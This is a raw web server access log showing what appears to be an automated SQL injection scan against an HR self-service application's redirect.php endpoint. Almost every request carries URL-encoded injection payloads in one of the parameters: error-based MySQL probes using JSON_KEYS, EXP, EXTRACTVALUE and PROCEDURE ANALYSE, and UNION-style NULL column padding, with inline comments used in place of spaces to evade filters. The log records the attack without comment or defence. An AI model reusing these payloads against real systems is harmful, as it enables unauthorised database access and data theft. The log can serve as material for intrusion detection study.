100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x62563343%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73674753%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F3C85&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x38476765%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77347666%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F0LTV&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x38476765%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77347666%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F0LTV&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x57385268%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d665972%29%29x%29%29--%2F%2A%2A%2F4wiq&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x57385268%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d665972%29%29x%29%29--%2F%2A%2A%2F4wiq&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x574f5332%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76675850%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FWyXH%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x4738696c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f5a6675%29%29--%2F%2A%2A%2FiCLd&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x736a764c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x346f7273%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FfscU%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x736a764c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x346f7273%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FfscU%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x53386d58%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c627461%29%29x%29%29--%2F%2A%2A%2FOmaF&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6f694759%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a445068%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FoDcI%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6f694759%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a445068%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FoDcI%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x62563343%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73674753%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F3C85&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x38476765%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77347666%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F0LTV&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6d374e41%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64574533%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FC168%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x57385268%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d665972%29%29x%29%29--%2F%2A%2A%2F4wiq&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x69696a62%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7277574c%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FTgEU%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x69696a62%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7277574c%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FTgEU%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x64364e56%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71534445%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x64364e56%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71534445%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x67424e46%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45566b31%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FIUmU%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x67424e46%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45566b31%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FIUmU%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x42394c42%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x62786659%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FyP6j%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x42394c42%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x62786659%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FyP6j%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x324a6237%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36713244%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x324a6237%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36713244%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x63494245%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5441656a%29%29%2C1%29--%2F%2A%2A%2Fbkvu&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x63494245%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5441656a%29%29%2C1%29--%2F%2A%2A%2Fbkvu&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:32 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
